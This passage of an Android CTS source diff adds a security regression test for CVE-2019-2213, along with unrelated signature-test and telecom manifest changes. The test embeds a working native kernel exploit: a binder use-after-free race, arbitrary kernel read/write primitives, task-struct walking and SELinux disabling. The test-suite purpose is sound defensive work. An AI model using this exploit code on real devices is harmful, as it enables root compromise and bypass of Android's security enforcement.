+ u64 ret = 0;
+ for (int i = 0; i < 64; i++) {
+ int fd = addr + i;
+ fd_set set;
+ FD_ZERO(&set);
+ FD_SET(fd, &set);
+ struct timeval timeout;
+ timeout.tv_sec = 0;
+ timeout.tv_usec = 0;
+ if (select(fd + 1, &set, NULL, NULL, &timeout) >= 0)
+ ret |= 1ul << i;
+ else if (errno != EBADF)
+ fail("leak select fail");
+ }
+ return ret;
+}
+
+int files_off = 0x30;
+int file_off = 0x48;
+int fdt_off = 0x58;
+int fmode_off = 0x78;
+int faoff = 0x10;
+
+void set_pipe_mutex_count(u32 count) {
+ winfo32(0, count);
+}
+
+void set_pipe_nrbufs(u32 nrbufs) {
+ winfo32(0x40, nrbufs);
+}
+
+void set_pipe_curbuf(u32 curbuf) {
+ winfo32(0x44, curbuf);
+}
+
+void set_pipe_buffers(u32 buffers) {
+ winfo32(0x48, buffers);
+}
+
+void set_pipe_readers(u32 readers) {
+ winfo32(0x4c, readers);
+}
+
+void set_pipe_fasync_readers(u64 fasync_readers) {
+ winfo64(0x70, fasync_readers);
+}
+
+void set_pipe_wait_next(u64 next) {
+ winfo64(0x30, next);
+}
+
+u64 get_pipe_wait_next() {
+ return rinfo64(0x30);
+}
+
+void set_fa_magic(u32 magic) {
+ winfo32(faoff + 4, magic);
+}
+
+void set_fa_next(u64 next) {
+ winfo64(faoff + 0x10, next);
+}
+
+void set_fa_file(u64 file) {
+ winfo64(faoff + 0x18, file);
+}
+
+u64 get_mutex_owner() {
+ return rinfo64(0x18);
+}
+
+void set_files_count(int count) {
+ winfo32(files_off, count);
+}
+
+void set_files_fdt(u64 fdt) {
+ winfo64(files_off + 0x20, fdt);
+}
+
+void set_fdt_max_fds(u32 max_fds) {
+ winfo32(fdt_off, max_fds);
+}
+
+void set_fdt_fdarr(u64 fdarr) {
+ winfo64(fdt_off + 8, fdarr);
+}
+
+void set_fdt_close_on_exec(u64 close_on_exec) {
+ winfo64(fdt_off + 0x10, close_on_exec);
+}
+
+void set_file_fmode(u32 fmode) {
+ winfo32(fmode_off, fmode);
+}
+
+void set_file(u64 file) {
+ winfo64(file_off, file);
+}
+
+void stage2();
+
+void stage2_thread(u64 cpu) {
+ sync_t *sync = cpu == cpu1 ? stage2_sync1 : stage2_sync2;
+ sync_wait(sync);
+ do_set_cpu(cpu);
+ sync_done(sync);
+
+ sync_wait(sync);
+ if (dup2(1, 0x1ff) < 0) {
+ fail("dup2 fail");
+ return;
+ }
+ sync_done(sync);
+
+ sync_wait(sync);
+ set_all_bits();
+ sync_done(sync);
+
+ sync_wait(sync);
+ u64 wait_list = get_pipe_wait_next();
+ int ok = wait_list != -1l;
+ if (ok) {
+ uaf_alloc_success = 1;
+ pipe_inode_info = wait_list - 0x30;
+ dbg("pipe_inode_info=%016zx", pipe_inode_info);
+ }
+ sync_done(sync);
+ if (ok)
+ stage2();
+}
+
+void write_pipe_ptr_to(u64 addr) {
+ set_pipe_wait_next(addr - 8);
+ do_poll(0, 50);
+}
+
+void overwrite_pipe_bufs() {
+ write_pipe_ptr_to(pipe_inode_info + 0x80);
+}
+
+void leak_task_ptr() {
+ set_pipe_mutex_count(0x7);
+ set_pipe_wait_next(pipe_inode_info + 0x30);
+ u64 faptr = pipe_inode_info + faoff;
+ set_pipe_fasync_readers(faptr);
+ set_pipe_nrbufs(3);
+ set_pipe_curbuf(0);
+ set_pipe_buffers(4);
+ set_pipe_readers(1);
+ set_fa_magic(0x4601);
+ set_fa_next(faptr);
+ set_fa_file(0xfffffffful); // overlaps with inode_info.wait.lock
+ sync_signal(rw_thread_sync);
+ // wait for rw thread to write mutex owner
+ usleep(100000);
+ rw_task = get_mutex_owner();
+ dbg("rw_task=%016zx", rw_task);
+ // unblock rw thread
+ set_fa_magic(0);
+ if (syscall(SYS_tkill, rw_thread_tid, SIGUSR2) < 0)
+ fail("tkill fail");
+ dbg("signaled rw_thread");
+ sync_wait_done(rw_thread_sync);
+ // wait until klogd has logged the bad magic number error
+ sleep(1);
+}
+
+void overwrite_task_files(u64 task) {
+ write_pipe_ptr_to(task + 0x7c0);
+}
+
+void sigfunc(int a) {
+}
+
+enum {cmd_read, cmd_write, cmd_exit};
+
+void handle_sig() {
+ struct sigaction sa;
+ memset(&sa, 0x00, sizeof(sa));
+ sa.sa_handler = sigfunc;
+ if (sigaction(SIGUSR2, &sa, NULL) < 0)
+ fail("sigaction fail");
+}
+
+void rw_thread(u64 idx) {
+ handle_sig();
+ sync_wait(rw_thread_sync);
+ void *dat = malloc(0x2000);
+ dbg("starting blocked write");
+ if (write(uaf_pipe, dat, 0x2000) != 0x1000) {
+ fail("expected blocking write=0x1000");
+ return;
+ }
+ dbg("write unblocked");
+ sync_done(rw_thread_sync);
+ int done = 0;
+ while (!done) {
+ sync_wait(rw_thread_sync);
+ if (rw_cmd == cmd_read) {
+ int bits = fcntl(rw_bit, F_GETFD);
+ if (bits < 0) {
+ fail("F_GETFD fail");
+ return;
+ }
+ rw_val = !!(bits & FD_CLOEXEC);
+ } else if (rw_cmd == cmd_write) {
+ if (fcntl(rw_bit, F_SETFD, rw_val ? FD_CLOEXEC : 0) < 0) {
+ fail("F_SETFD fail");
+ return;
+ }
+ } else {
+ done = 1;
+ }
+ sync_done(rw_thread_sync);
+ }
+}
+
+void set_fdarr(int bit) {
+ set_fdt_fdarr(pipe_inode_info + file_off - bit * 8);
+}
+
+u8 r8(u64 addr) {
+ u8 val = 0;
+ set_fdt_close_on_exec(addr);
+ for (int bit = 0; bit < 8; bit++) {
+ set_fdarr(bit);
+ rw_bit = bit;
+ rw_cmd = cmd_read;
+ sync_signal(rw_thread_sync);
+ sync_wait_done(rw_thread_sync);
+ val |= rw_val << bit;
+ }
+ return val;
+}
+
+void w8(u64 addr, u8 val) {
+ set_fdt_close_on_exec(addr);
+ for (int bit = 0; bit < 8; bit++) {
+ set_fdarr(bit);
+ rw_bit = bit;
+ rw_val = val & (1 << bit);
+ rw_cmd = cmd_write;
+ sync_signal(rw_thread_sync);
+ sync_wait_done(rw_thread_sync);
+ }
+}
+
+void exit_rw_thread() {
+ rw_cmd = cmd_exit;
+ sync_signal(rw_thread_sync);
+ sync_wait_done(rw_thread_sync);
+}
+
+void w16(u64 addr, u16 val) {
+ w8(addr, val);
+ w8(addr + 1, val >> 8);
+}
+
+void w32(u64 addr, u32 val) {
+ w16(addr, val);
+ w16(addr + 2, val >> 16);
+}
+
+void w64(u64 addr, u64 val) {
+ w32(addr, val);
+ w32(addr + 4, val >> 32);
+}
+
+u16 r16(u64 addr) {
+ return r8(addr) | (r8(addr + 1) << 8);
+}
+
+u32 r32(u64 addr) {
+ return r16(addr) | (r16(addr + 2) << 16);
+}
+
+u64 r64(u64 addr) {
+ return r32(addr) | (u64)r32(addr + 4) << 32;
+}
+
+#define magic 0x55565758595a5b5cul
+
+void set_up_arbitrary_rw() {
+ overwrite_task_files(rw_task);
+ set_all_bits();
+ set_files_count(1);
+ set_files_fdt(pipe_inode_info + fdt_off);
+ set_fdt_max_fds(8);
+ set_file(pipe_inode_info + fmode_off - 0x44);
+ set_file_fmode(0);
+ u64 magic_addr = scratch;
+ w64(magic_addr, magic);
+ if (r64(magic_addr) != magic)
+ fail("rw test fail");
+ dbg("got arbitrary rw");
+}
+
+u64 get_current() {
+ int our_tid = gettid();
+ u64 leader = r64(rw_task + 0x610);
+ u64 task = leader;
+
+ time_t test_started = start_timer();
+ while (timer_active(test_started)) {
+ int tid = r32(task + 0x5d0);
+ if (tid == our_tid)
+ return task;
+ task = r64(task + 0x680) - 0x680;
+ if (task == leader)
+ break;
+ }
+ fail("current not found");
+ return (u64)-1;
+}
+
+void get_fdarr() {
+ current = get_current();
+ if (current == (u64)-1) {
+ return;
+ }
+ dbg("current=%016zx", current);
+ u64 files = r64(current + 0x7c0);
+ u64 fdt = r64(files + 0x20);
+ fdarr = r64(fdt + 8);
+}
+
+void place_bnd_buf(u64 v1, u64 v2, txn_t *t) {
+ txn_t t2;
+ int do_free = !t;
+ if (!t)
+ t = &t2;
+ buf_t *dat = new_buf();
+ buf_u64(dat, v1);
+ buf_u64(dat, v2);
+ send_txn(2, to1, 0, dat, NULL);
+ recv_txn(1, t);
+ if (do_free)
+ free_txn(t);
+ send_reply(1);
+ recv_txn(2, &t2);
+ free_txn(&t2);
+}
+
+void w128(u64 addr, u64 v1, u64 v2) {
+ w64(free_data, addr);
+ w64(next_free_data, addr + 0x10);
+ place_bnd_buf(v1, v2, NULL);
+}
+
+void set_up_w128() {
+ u64 bnd = get_file(1);
+ u64 proc = r64(bnd + 0xd0);
+ u64 alloc = proc + 0x1c0;
+ enter_looper(1);
+ txn_t t1, t2;
+ place_bnd_buf(0, 0, &t1);
+ place_bnd_buf(0, 0, &t2);
+ free_txn(&t1);
+ u64 free_buffer = r64(alloc + 0x48);
+ u64 next = r64(free_buffer);
+ w64(alloc + 0x38, 0);
+ w64(alloc + 0x78, ~0ul);
+ free_data = free_buffer + 0x58;
+ next_free_data = next + 0x58;
+ u64 magic_addr = scratch + 8;
+ w128(magic_addr, magic, magic);
+ if (r64(magic_addr) != magic || r64(magic_addr + 8) != magic)
+ fail("w128 test fail");
+ dbg("got w128");
+}
+
+void clean_up() {
+ w64(fdarr, 0);
+ set_files_count(2);
+ exit_rw_thread();
+}
+
+void exploit() {
+ set_thread_name("txnuaf");
+ select_cpus();
+ set_cpu(cpu1);
+ set_timerslack();
+ launch_threads();
+ open_binders();
+ race_cycle();
+ reopen_pipe();
+ launch_stage2_threads();
+ free_pipe_alloc_fdmem();
+ find_pipe_slot_thread();
+}
+
+void stage2() {
+ scratch = pipe_inode_info + 0xb8;
+ overwrite_pipe_bufs();
+ leak_task_ptr();
+ set_up_arbitrary_rw();
+ get_fdarr();
+ set_up_w128();
+ winfo32(0, 0x7);
+ disable_selinux();
+ clean_up();
+}
+
+JNIEXPORT void JNICALL
+Java_android_security_cts_ExploitThread_runxpl(JNIEnv *e, jobject t, jstring jpipedir) {
+ this = (*e)->NewGlobalRef(e, t);
+ add_jenv(e);
+ (*e)->GetJavaVM(e, &jvm);
+ jclass cls = (*e)->GetObjectClass(e, this);
+ add_log = (*e)->GetMethodID(e, cls, "addLog", "(Ljava/lang/String;)V");
+ pipedir = (*e)->GetStringUTFChars(e, jpipedir, NULL);
+ exploit();
+ (*e)->ReleaseStringUTFChars(e, jpipedir, pipedir);
+}
diff --git a/tests/tests/security/res/raw/sig_com_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_android_conscrypt.bin
deleted file mode 100644
index 67e87a12ecd..00000000000
--- a/tests/tests/security/res/raw/sig_com_android_conscrypt.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_media.bin b/tests/tests/security/res/raw/sig_com_android_media.bin
deleted file mode 100644
index d33cb3f454a..00000000000
--- a/tests/tests/security/res/raw/sig_com_android_media.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin
deleted file mode 100644
index 8c663d4c371..00000000000
--- a/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_resolv.bin b/tests/tests/security/res/raw/sig_com_android_resolv.bin
deleted file mode 100644
index cae337ec07c..00000000000
--- a/tests/tests/security/res/raw/sig_com_android_resolv.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin
deleted file mode 100644
index 824864936af..00000000000
--- a/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_android_runtime_release.bin
deleted file mode 100644
index 55640d72b6c..00000000000
--- a/tests/tests/security/res/raw/sig_com_android_runtime_release.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_android_tzdata.bin
deleted file mode 100644
index f4339e61b19..00000000000
--- a/tests/tests/security/res/raw/sig_com_android_tzdata.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin
deleted file mode 100644
index e27820f5e7c..00000000000
--- a/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_media.bin b/tests/tests/security/res/raw/sig_com_google_android_media.bin
deleted file mode 100644
index 125931188dc..00000000000
--- a/tests/tests/security/res/raw/sig_com_google_android_media.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin
deleted file mode 100644
index 0e72db7006f..00000000000
--- a/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_resolv.bin b/tests/tests/security/res/raw/sig_com_google_android_resolv.bin
deleted file mode 100644
index f5de8711d86..00000000000
--- a/tests/tests/security/res/raw/sig_com_google_android_resolv.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin
deleted file mode 100644
index e28c489c130..00000000000
--- a/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin
deleted file mode 100644
index 96c192c1c63..00000000000
--- a/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin
deleted file mode 100644
index abcc35f0cf1..00000000000
--- a/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
new file mode 100644
index 00000000000..abb03706ff6
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.system.Os;
+import android.os.Looper;
+import android.os.Message;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+
+import android.hardware.display.VirtualDisplay;
+
+import java.io.IOException;
+import java.io.BufferedReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+
+import static org.junit.Assert.assertTrue;
+import android.test.AndroidTestCase;
+import androidx.test.InstrumentationRegistry;
+import android.platform.test.annotations.SecurityTest;
+
+import java.util.ArrayList;
+import android.util.Log;
+
+import android.graphics.Bitmap;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.system.ErrnoException;
+import android.widget.TextView;
+
+import java.io.File;
+import java.util.List;
+
+class Exchange extends IBinderExchange.Stub {
+ IBinder binder;
+ BinderExploitTest.CVE_2019_2213_Activity xpl;
+ Exchange(BinderExploitTest.CVE_2019_2213_Activity xpl) {
+ this.xpl = xpl;
+ }
+ @Override
+ public void putBinder(IBinder bnd) {
+ this.xpl.addLog("put binder");
+ binder = bnd;
+ }
+ @Override
+ public IBinder getBinder() {
+ this.xpl.addLog("get binder");
+ return binder;
+ }
+}
+
+class ExploitThread extends Thread {
+ static {
+ System.loadLibrary("cve_2019_2213_jni");
+ }
+ BinderExploitTest.CVE_2019_2213_Activity xpl;
+ String pipedir;
+
+ ExploitThread(BinderExploitTest.CVE_2019_2213_Activity xpl, String pipedir) {
+ this.xpl = xpl;
+ this.pipedir = pipedir;
+ }
+
+ public void run() {
+ runxpl(pipedir);
+ }
+
+ void addLog(String msg) {
+ xpl.addLog(msg);
+ }
+
+ public native void runxpl(String pipedir);
+}
+
+@SecurityTest
+public class BinderExploitTest extends AndroidTestCase {
+
+ static final String TAG = BinderExploitTest.class.getSimpleName();
+ private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+
+ public CVE_2019_2213_Activity mActivity;
+ private void launchActivity(Class<? extends Activity> clazz) {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
+
+ /**
+ * b/141496757
+ */
+ @SecurityTest(minPatchLevel = "2019-11")
+ public void testPoc_cve_2019_2213() throws Exception {
+ Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start..."));
+
+ // set timeout to 5 minutes
+ int timeout = 60;
+
+ // run test activity
+ launchActivity(CVE_2019_2213_Activity.class);
+ // main loop to check forked processs bahaviors
+ while (timeout-- > 0) {
+ SystemClock.sleep(1000);
+ }
+ Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 finished."));
+ }
+
+ public static class CVE_2019_2213_Activity extends Activity {
+ ActivityManager actmgr;
+ String log = "";
+
+ synchronized void addLog(String msg) {
+ Log.i("txnuaf", msg);
+ log += msg + "\n";
+ Log.i(TAG, log);
+ }
+
+ ActivityManager.AppTask getAppTask() {
+ List<ActivityManager.AppTask> list = actmgr.getAppTasks();
+ for (int i = 0; i < list.size(); i++) {
+ ActivityManager.RecentTaskInfo info = list.get(i).getTaskInfo();
+ if (info.baseIntent.getExtras() != null)
+ return list.get(i);
+ }
+ return null;
+ }
+
+ void setUpBundle() throws Exception {
+ actmgr = (ActivityManager)getSystemService(ACTIVITY_SERVICE);
+ ActivityManager.AppTask t = getAppTask();
+ if (t != null)
+ t.finishAndRemoveTask();
+ Intent in = new Intent(this, CVE_2019_2213_Activity.class);
+ Bundle extras = new Bundle();
+ extras.putBinder("bnd", new Exchange(this));
+ in.putExtras(extras);
+ in.setFlags(in.getFlags() | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+ Bitmap bmp = Bitmap.createBitmap(1, 1, Bitmap.Config.ALPHA_8);
+ if (actmgr.addAppTask(this, in, null, bmp) == -1)
+ throw new Exception("addAppTask failed");
+ t = getAppTask();
+ if (t == null)
+ throw new Exception("no appTask with extras");
+ Bundle b = t.getTaskInfo().baseIntent.getExtras();
+ if (!b.containsKey("bnd"))
+ throw new Exception("no bnd key");
+ addLog("apptask added");
+ }
+
+ public String makePipes() throws ErrnoException {
+ File dir = getDir("xpldat", 0);
+ for (int i = 0; i < 8; i++) {
+ File fifo = new File(dir, "p" + i);
+ if (fifo.exists())
+ fifo.delete();
+ Os.mkfifo(fifo.getPath(), 0600);
+ }
+ return dir.getPath();
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ try {
+ setUpBundle();
+ (new ExploitThread(this, makePipes())).start();
+ } catch (Exception e) {
+ addLog(e.toString());
+ }
+ }
+ }
+
+
+}
diff --git a/tests/tests/security/src/android/security/cts/IBinderExchange.java b/tests/tests/security/src/android/security/cts/IBinderExchange.java
new file mode 100644
index 00000000000..765baacab3d
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/IBinderExchange.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * This file is auto-generated in Android Studio for BinderExploitTest. DO NOT MODIFY.
+ */
+package android.security.cts;
+
+public interface IBinderExchange extends android.os.IInterface {
+ /** Local-side IPC implementation stub class. */
+ public static abstract class Stub extends android.os.Binder
+ implements android.security.cts.IBinderExchange {
+ private static final java.lang.String DESCRIPTOR = "android.security.cts.IBinderExchange";
+
+ /** Construct the stub at attach it to the interface. */
+ public Stub() {
+ this.attachInterface(this, DESCRIPTOR);
+ }
+
+ /**
+ * Cast an IBinder object into an android.security.cts.IBinderExchange
+ * interface, generating a proxy if needed.
+ */
+ public static android.security.cts.IBinderExchange asInterface(android.os.IBinder obj) {
+ if ((obj == null)) {
+ return null;
+ }
+ android.os.IInterface iin = obj.queryLocalInterface(DESCRIPTOR);
+ if (((iin != null) && (iin instanceof android.security.cts.IBinderExchange))) {
+ return ((android.security.cts.IBinderExchange) iin);
+ }
+ return new android.security.cts.IBinderExchange.Stub.Proxy(obj);
+ }
+
+ @Override
+ public android.os.IBinder asBinder() {
+ return this;
+ }
+
+ @Override
+ public boolean onTransact(
+ int code, android.os.Parcel data, android.os.Parcel reply, int flags)
+ throws android.os.RemoteException {
+ java.lang.String descriptor = DESCRIPTOR;
+ switch (code) {
+ case INTERFACE_TRANSACTION: {
+ reply.writeString(descriptor);
+ return true;
+ }
+ case TRANSACTION_putBinder: {
+ data.enforceInterface(descriptor);
+ android.os.IBinder _arg0;
+ _arg0 = data.readStrongBinder();
+ this.putBinder(_arg0);
+ reply.writeNoException();
+ return true;
+ }
+ case TRANSACTION_getBinder: {
+ data.enforceInterface(descriptor);
+ android.os.IBinder _result = this.getBinder();
+ reply.writeNoException();
+ reply.writeStrongBinder(_result);
+ return true;
+ }
+ default: {
+ return super.onTransact(code, data, reply, flags);
+ }
+ }
+ }
+
+ private static class Proxy implements android.security.cts.IBinderExchange {
+ private android.os.IBinder mRemote;
+
+ Proxy(android.os.IBinder remote) {
+ mRemote = remote;
+ }
+
+ @Override
+ public android.os.IBinder asBinder() {
+ return mRemote;
+ }
+
+ public java.lang.String getInterfaceDescriptor() {
+ return DESCRIPTOR;
+ }
+
+ @Override
+ public void putBinder(android.os.IBinder bnd) throws android.os.RemoteException {
+ android.os.Parcel _data = android.os.Parcel.obtain();
+ android.os.Parcel _reply = android.os.Parcel.obtain();
+ try {
+ _data.writeInterfaceToken(DESCRIPTOR);
+ _data.writeStrongBinder(bnd);
+ mRemote.transact(Stub.TRANSACTION_putBinder, _data, _reply, 0);
+ _reply.readException();
+ } finally {
+ _reply.recycle();
+ _data.recycle();
+ }
+ }
+
+ @Override
+ public android.os.IBinder getBinder() throws android.os.RemoteException {
+ android.os.Parcel _data = android.os.Parcel.obtain();
+ android.os.Parcel _reply = android.os.Parcel.obtain();
+ android.os.IBinder _result;
+ try {
+ _data.writeInterfaceToken(DESCRIPTOR);
+ mRemote.transact(Stub.TRANSACTION_getBinder, _data, _reply, 0);
+ _reply.readException();
+ _result = _reply.readStrongBinder();
+ } finally {
+ _reply.recycle();
+ _data.recycle();
+ }
+ return _result;
+ }
+ }
+
+ static final int TRANSACTION_putBinder = (android.os.IBinder.FIRST_CALL_TRANSACTION + 0);
+ static final int TRANSACTION_getBinder = (android.os.IBinder.FIRST_CALL_TRANSACTION + 1);
+ }
+
+ public void putBinder(android.os.IBinder bnd) throws android.os.RemoteException;
+
+ public android.os.IBinder getBinder() throws android.os.RemoteException;
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 283910bfee4..ee383b21356 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -52,11 +52,9 @@ public class PackageSignatureTest extends AndroidTestCase {
PackageManager packageManager = mContext.getPackageManager();
List<PackageInfo> allPackageInfos = packageManager.getInstalledPackages(
PackageManager.GET_UNINSTALLED_PACKAGES |
- PackageManager.GET_SIGNATURES |
- PackageManager.MATCH_APEX);
+ PackageManager.GET_SIGNATURES);
for (PackageInfo packageInfo : allPackageInfos) {
String packageName = packageInfo.packageName;
- Log.v(TAG, "Scanning " + packageName);
if (packageName != null && !isWhitelistedPackage(packageName)) {
for (Signature signature : packageInfo.signatures) {
if (wellKnownSignatures.contains(signature)) {
@@ -82,20 +80,6 @@ public class PackageSignatureTest extends AndroidTestCase {
wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_platform));
wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_shared));
wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_networkstack));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_android_conscrypt));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media_swcodec));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_android_resolv));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_debug));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_release));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_android_tzdata));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_conscrypt));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media_swcodec));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_resolv));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_debug));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_release));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata));
return wellKnownSignatures;
}
diff --git a/tests/tests/speech/AndroidTest.xml b/tests/tests/speech/AndroidTest.xml
index 9ce9cf31625..53bca68f431 100644
--- a/tests/tests/speech/AndroidTest.xml
+++ b/tests/tests/speech/AndroidTest.xml
@@ -20,6 +20,8 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<!-- TTS Synthesizer pipeline is native code. -->
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <!-- Test is eligible to run on Android Multiuser users other than SYSTEM. -->
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 227a2ad0d23..5e28993f1be 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -29,6 +29,8 @@
<uses-permission android:name="android.permission.ACCEPT_HANDOVER" />
<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
+ <uses-permission android:name="android.permission.READ_CONTACTS" />
+ <uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
index c3b39a7ecb5..c0b4673710b 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
@@ -18,6 +18,9 @@
package="android.telecom.cts.screeningtestapp">
<permission android:name="android.telecom.cts.screeningtestapp.CTS_SERVICE_PERMISSION"
android.protectionLevel="signature"/>
+ <uses-permission android:name="android.permission.READ_CONTACTS" />
+ <uses-permission android:name="android.permission.REVOKE_RUNTIME_PERMISSIONS" />
+ <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS" />
<application android:label="CTSCSTest">
<service android:name=".CtsCallScreeningService"
android:permission="android.permission.BIND_SCREENING_SERVICE">
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
index d9591969191..a14f86a889b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
@@ -17,8 +17,8 @@
package android.telecom.cts;
import static android.telecom.cts.TestUtils.shouldTestTelecom;
-import static org.junit.Assert.assertTrue;
+import android.content.ContentResolver;
import android.telecom.cts.MockCallScreeningService.CallScreeningServiceCallbacks;
import android.content.ComponentName;
@@ -58,6 +58,7 @@ public class CallScreeningServiceTest extends InstrumentationTestCase {
private String mPreviousDefaultDialer;
MockConnectionService mConnectionService;
private boolean mCallFound;
+ private ContentResolver mContentResolver;
@Override
protected void setUp() throws Exception {
@@ -70,6 +71,7 @@ public class CallScreeningServiceTest extends InstrumentationTestCase {
setupConnectionService();
MockCallScreeningService.enableService(mContext);
}
+ mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
}
@Override
